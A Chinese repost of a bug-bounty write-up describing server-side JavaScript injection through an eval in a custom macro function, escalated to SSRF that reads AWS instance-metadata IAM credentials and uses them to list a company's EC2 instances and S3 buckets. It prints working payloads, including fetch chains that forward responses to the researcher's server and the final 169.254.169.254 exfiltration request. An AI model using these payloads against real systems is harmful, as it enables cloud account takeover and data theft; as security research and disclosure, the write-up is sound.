看我如何通过nodejs中的SSRF完全控制aws

栏目: Node.js · 发布时间: 7年前

内容简介:这是我在hackerone上一个私人漏洞奖金计划中发现的一个漏洞,发现,利用和写报告足足花了我12个半小时,都不带休息的。通过这个漏洞,我可以获取到AWS的凭证,我可以完全入侵该公司的账号:现在我手里有20个buckets和80个EC2实例。另外,这是我挖洞生涯中最有意思的漏洞,学到了很多东西,所以想在此给大家分享一下。刚才说过,这是一个私人奖金项目,所以公司名就不方便透露了,我们就叫它ArticMonkey吧。为了实现他们的web应用程序,ArticMonkey公司开发了一套自定义的宏语言,就叫做Ban

这是我在hackerone上一个私人漏洞奖金计划中发现的一个漏洞,发现,利用和写报告足足花了我12个半小时,都不带休息的。通过这个漏洞,我可以获取到AWS的凭证,我可以完全入侵该公司的账号:现在我手里有20个buckets和80个EC2实例。另外,这是我挖洞生涯中最有意思的漏洞,学到了很多东西,所以想在此给大家分享一下。

介绍

刚才说过,这是一个私人奖金项目,所以公司名就不方便透露了,我们就叫它ArticMonkey吧。

为了实现他们的web应用程序,ArticMonkey公司开发了一套自定义的宏语言,就叫做Banana++吧。我不知道这个Banan++这个语言最初是基于什么语言开发的,但是从web应用中,我发现了一个JavaScript版本信息,所以我决定深入挖掘一下。

原始的banan++.js文件已经压缩过了,但文件还是有点大,压缩后2.1M,美化后2.5M,56441行,2546981个字符,崩溃。当然,我没有读完整个代码,只是搜索了一些Banan++特定的一些关键词,在3348行定位到了第一个函数,整个文件大概有135个函数,既然有这么多函数,那我就可以对这些函数进行分析,发挥我的专业技能了。

发现问题

我开始从头看代码,但是大部分函数都是进行数据操作或者是数学运算符,没有什么可疑的或危险的。找了一会儿,我终于发现了一个Union()函数,可能有戏,代码如下:

看我如何通过nodejs中的SSRF完全控制aws

仔细看代码,注意到有一个奇怪的eval()函数,是不是很惊喜,我把代码复制到一个本地的HTML文件中以便进行多次测试。

这个函数可以接收无限个参数,不过第三个参数开始才是有用的参数。这个函数是借助第二个参数来比较第一个参数和第三个参数的,然后测试第4个,第5个等等。通常的用法是这样的,Union(1,’<’,3),如果这些测试中至少有一个为真,那么返回值为true,否则为false。

然而,该函数却没有对参数的类型和值进行过滤和净化,于是我就利用alert()来进行测试,alert()是我最新换的调试器,我发现可以通过不同的方法来触发漏洞利用,如图所示:

看我如何通过nodejs中的SSRF完全控制aws

注入点

现在我们有了一个危险的函数,这已经是一个很好的开始了,不过我们真正需要的是用户输入的地方来注入恶意代码。我记得在使用Banan++函数时看到过一些post参数,于是在Burp的历史记录中找了找,请求响应如下:

看我如何通过nodejs中的SSRF完全控制aws

看我如何通过nodejs中的SSRF完全控制aws

可以看到有一个operation参数,可以进行测试一下。

开始注入

由于我对Banan++一无所知,所以我得先进行一些测试来看看我可以注入何种类型的代码,下面是一些手工模糊测试,

{...REDACTED...,"operation":"'\"><"}{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":null}[]
{...REDACTED...,"operation":"0"}[]
{...REDACTED...,"operation":"1"}[{"name":"REDACTED",...REDACTED...}]
{...REDACTED...,"operation":"a"}{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"a=1"}{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"alert"}{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"alert()"}{"status":400,"message":"Function 'alert' is not defined"}
{...REDACTED...,"operation":"Union()"}[]

通过这些测试,我总结了以下几点:

不能注入任意的JavaScript代码

可以注入Banan++函数

响应似乎只有真假两种,取决于参数operation的真假,这对于验证我注入的代码是否有效非常有帮助。

下面我们继续来对Union()函数进行模糊测试:

{...REDACTED...,"operation":"Union(1,2,3)"}{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"Union(a,b,c)"}{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"Union('a','b','c')"}{"status":400,"message":"Parse error on line 1...REDACTED..."}
{...REDACTED...,"operation":"Union('a';'b';'c')"}[{"name":"REDACTED",...REDACTED...}]
{...REDACTED...,"operation":"Union('1';'2';'3')"}[{"name":"REDACTED",...REDACTED...}]
{...REDACTED...,"operation":"Union('1';'<';'3')"}[{"name":"REDACTED",...REDACTED...}]
{...REDACTED...,"operation":"Union('1';'>';'3')"}[]]

测试效果非常完美,如果测试1<3,响应结果就会包含有效的数据(true),如果测试1>3,响应结果为空(false)。参数必须要用分号来分隔。下面我就要开始尝试一些真正的攻击了。

fetch是新的XMLHttpRequest异步请求

因为请求是对api的一种ajax调用,而且只返回json数据,显然不是一个客户端注入。而且通过前面的报告,我知道ArticMonkey倾向于在服务端使用大量的JavaScript。

不过,这些都不重要,因为我得尝试所有东西,可能无意中就能触发一个错误,暴露了运行着JavaScript代码的系统的一些敏感信息。因为我进行了本地测试,所以我知道如何准确的注入恶意代码。我测试了基础的xss payload和错误格式的JavaScript代码,不过得到的错误跟前面的一样。

然后我尝试发起HTTP请求。

首先进行ajax调用:

x = new XMLHttpRequest;
x.open( 'GET','https://poc.myserver.com' );
x.send();

但是没有什么收获,于是我尝试了HTML注入:

i = document.createElement( 'img' );
i.src = '<img src="https://poc.myserver.com/xxx.png">';
document.body.appendChild( i );

还是没有任何收获,继续尝试:

document.body.innerHTML += '<img src="https://poc.myserver.com/xxx.png">';
document.body.innerHTML += '<iframe src="https://poc.myserver.com">';

结果还是一样,没有收获。

有时候,你要进行一些很脑残的测试,你才知道系统设计的有多愚蠢。显然,这里尝试着去渲染HTML代码是有问题的。回到ajax请求,我在这里卡了一段时间,花了很长时间才明白它是如何工作的。

最后我想起来ArticMonkey在前端使用的是ReactJS,后来我才了解到他们在服务器端使用的是nodeJS。于是我Google了一下,如何使用ReactJS执行ajax请求,并最终在官方文档中找到了解决方案,该方案将我引导到fetch()函数,这是执行ajax调用的新标准,而这就是关键之处:

于是我尝试了如下注入:

fetch('https://poc.myserver.com')

执行之后,立刻就在Apache日志里面生成了一行新纪录。

首先要能ping通我的服务器,不过它是一个blind SSRF,我没有收到响应。于是我想着把两个请求串联起来,第二个请求能够发送第一个请求的结果,如下:

x1 = new XMLHttpRequest;x1.open( 'GET','https://...', false );x1.send();r = x1.responseText;
x2 = new XMLHttpRequest;x2.open( 'GET','https://poc.myserver.com/?r='+r, false );x2.send();

接着我再使用fetch()函数的正确语法上又花了不少时间,这还多亏了 stackoverflow 上的一个问题。

最后我的payload如下,运行得非常顺利:

fetch('https://...').then(res=>res.text()).then((r)=>fetch('https://poc.myserver.com/?r='+r));

windows上的SSRF

首先,我尝试读取本地文件:

fetch('file:///etc/issue').then(res=>res.text()).then((r)=>fetch('https://poc.myserver.com/?r='+r));

不过Apache日志文件中的响应(r参数)却是空的。

由于我发现了与ArticMonkey(也就是articmonkey-xxx)相关的S3 buckets,所以我猜想这家公司的webapp可能也使用了AWS服务器(这个也可以在某些想拥抱的header信息中得到确认:x-cache:Hit from cloudfront)。如此一来,我就迅速的转移注意力到了最常见的 云实例的SSRF URL 中了。

当我尝试访问实例的元数据时,响应包中正是我想要的结果,这很nice

看我如何通过nodejs中的SSRF完全控制aws

对输出结果解码后,返回的是遍历出来的目录

看我如何通过nodejs中的SSRF完全控制aws

最终payload

{...REDACTED...,"operation":"Union('1';'2;fetch(\"http://169.254.169.254/latest/meta-data/\").then(res=>res.text()).then((r)=>fetch(\"https://poc.myserver.com/?r=\"+r));';'3')"}

因为我是第一次接触AWS元数据,所以我对它一无所知,我花了很长的时间来研究所有的目录和文件,如你所见,最有用的文件是这个 http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE >,如下所示:

看我如何通过nodejs中的SSRF完全控制aws

利用凭证

那时候,我本以为可以到此为止了。不过,对于写poc来说,我想展示这个漏洞的严重性,我想搞到一些非常有价值的东西。所以我尝试使用这些凭证来模拟公司。首先你要知道这些凭证是临时的,有效期很短,大概5分钟左右。不过没关系,5分钟也足够了,我可以更新我自己的凭证,就是复制粘贴而已,我可以搞定的。

我还在Twitter上咨询过关于SSRF和AWS的问题,真的非常感谢大佬的指教。最终在 这里 找到了解决方案。我所犯的错误就是没有好好阅读官方文档,只是使用了AccessKeyID和SecretAccessKey,但是并没有效果,token也必须要导出。

看我如何通过nodejs中的SSRF完全控制aws

使用下列命令来确认我的身份,表明我的身份已经发生了变化:

aws sts get-caller-identity

然后

看我如何通过nodejs中的SSRF完全控制aws

左图:经过ArticMonkey配置过的EC2实例列表。可能是他们系统的大部分实例或者是全部。

右图:该公司拥有20个buckets,包括用户的高度敏感的数据,web应用的静态文件,还有,依据buckets名字可能是他们服务器的日志或者备份文件。

这个漏洞的影响可以说是非常致命了。

总结

从这个漏洞中我学到了很多东西:

ReactJS,fetch()函数,AWS元数据。

RTFM!官方文档始终是有用信息的重要来源。

每一步都会产生问题,我不得不大量查资料搜索,尝试不同的事情,也需要竭尽全力,不轻易放弃。

现在我知道我可以从0开始到完全入侵一个系统,这是一个非常不错的个人成就,我对此也感觉到很满意。

所以,当有人告诉你无法完成某些事情时,记住,不要跟这些人浪费口舌,用行动来证明他们是错的。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Web ReDesign 2.0

Web ReDesign 2.0

Kelly Goto、Emily Cotler / Peachpit Press / 2004-12-10 / USD 45.00

If anything, this volume's premise--that the business of Web design is one of constant change-has only proven truer over time. So much so, in fact, that the 12-month design cycles cited in the last ed......一起来看看 《Web ReDesign 2.0》 这本书的介绍吧!

MD5 加密
MD5 加密

MD5 加密工具

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具